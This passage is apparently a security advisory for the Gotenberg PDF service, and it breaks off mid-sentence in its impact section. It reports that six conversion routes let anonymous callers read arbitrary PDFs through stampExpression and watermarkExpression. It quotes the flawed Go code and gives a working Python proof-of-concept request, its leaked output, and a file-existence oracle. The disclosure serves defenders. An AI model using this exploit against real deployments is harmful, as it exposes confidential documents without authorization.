Gotenberg has arbitrary PDF read via stampExpression and watermarkExpression in merge, split, and convert routes
Summary
Six conversion routes (pdfengines/merge, pdfengines/split, libreoffice/convert, chromium/convert/url, chromium/convert/html, chromium/convert/markdown) accept stampSource=pdf + stampExpression=/path and watermarkSource=pdf + watermarkExpression=/path from anonymous callers. The dedicated stamp/watermark routes require an uploaded file when the source type is image or pdf; these six routes only overwrite the expression when a file is uploaded, leaving the user-controlled path intact when no file is attached. pdfcpu opens the path and composites its pages onto the output PDF, which returns to the caller. An attacker reads any PDF the Gotenberg process can access on the container filesystem.
Details
The dedicated stamp route at pkg/modules/pdfengines/routes.go:1322-1332 rejects requests missing the stamp file:
```go
if stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF {
if stampFile == "" {
return api.WrapError(errors.New("no stamp file provided"), ...)
}
stamp.Expression = stampFile
}
```
The merge, split, LibreOffice, and Chromium routes use a lax pattern across twelve call sites (six stamp + six watermark):
```go
// pkg/modules/pdfengines/routes.go:679-683 (merge), 803 (split);
// pkg/modules/libreoffice/routes.go:307-311;
// pkg/modules/chromium/routes.go:433-438, 508-513, 592-597
if (stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF) && stampFile != "" {
stamp.Expression = stampFile
}
if (watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF) && watermarkFile != "" {
watermark.Expression = watermarkFile
}
```
When stampFile == "" (no file attached to the stamp form field), the guard short-circuits and stamp.Expression keeps the raw user-supplied stampExpression form string. The same pattern applies to watermarkFile/watermarkExpression.
pkg/modules/pdfcpu/pdfcpu.go:635 forwards the expression straight to the pdfcpu CLI:
```go
args := []string{"stamp", "add", "-mode", "pdf", "--", stamp.Expression, onDesc, inputPath, outputPath}
cmd, err := gotenberg.CommandContext(ctx, logger, cfg.BinPath, args...)
```
pdfcpu reads the target PDF at that path and composites its pages as a stamp on every page of the merged output.
Proof of Concept
Reproduction on the stock Docker image. The scenario models a deployment that mounts host paths into the container (common for document-processing pipelines) or where another request leaves a PDF in the shared /tmp filesystem:
```bash
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
docker exec gotenberg-poc sh -c 'cat > /tmp/victim_doc.pdf' < victim.pdf
```
Where victim.pdf contains extractable text such as BOB-CONFIDENTIAL-CONTRACT-2026-04-20.
Alice attacks without auth:
```python
import requests, io, subprocess
T = "http://localhost:3000"
minimal = (b"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n"
b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n"
b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>\nendobj\n"
b"xref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n"
b"0000000058 00000 n \n0000000115 00000 n \n"
b"trailer\n<< /Size 4 /Root 1 0 R >>\nstartxref\n180\n%%EOF\n")
r = requests.post(
f"{T}/forms/pdfengines/merge",
files={"file1": ("a.pdf", io.BytesIO(minimal), "application/pdf"),
"file2": ("b.pdf", io.BytesIO(minimal), "application/pdf")},
data={"stampSource": "pdf", "stampExpression": "/tmp/victim_doc.pdf"},
timeout=30,
)
print(f"HTTP {r.status_code} bytes={len(r.content)}")
open("/tmp/out.pdf", "wb").write(r.content)
print(subprocess.run(["pdftotext", "/tmp/out.pdf", "-"],
capture_output=True, text=True).stdout)
```
Observed output against gotenberg 8.31.0:
```
HTTP 200 bytes=1852
BOB-CONFIDENTIAL-CONTRACT-2026-04-20
...
```
Non-PDF targets via stampSource=pdf (for example /etc/hostname) return HTTP 500 after pdfcpu fails to parse the file as PDF, which acts as a file-existence oracle. stampSource=image with non-image files returns HTTP 400 (image parsing rejects it). The same PoC applies with stampSource replaced by watermarkSource and stampExpression by watermarkExpression.
Impact
Any anonymous caller with access to port 3000 reads PDF files from any path the Gotenberg process can open. In the default Docker image with no volume mounts, the reachable set is limited to /tmp/<gotenberg-work-uuid>/<request-uuid>/*.pdf (files staged during another in-flight request) and any PDF files the base image happens to ship. In deployments that bind-mount host directories into the container (document processing pipelines, shared storage for Office document conver
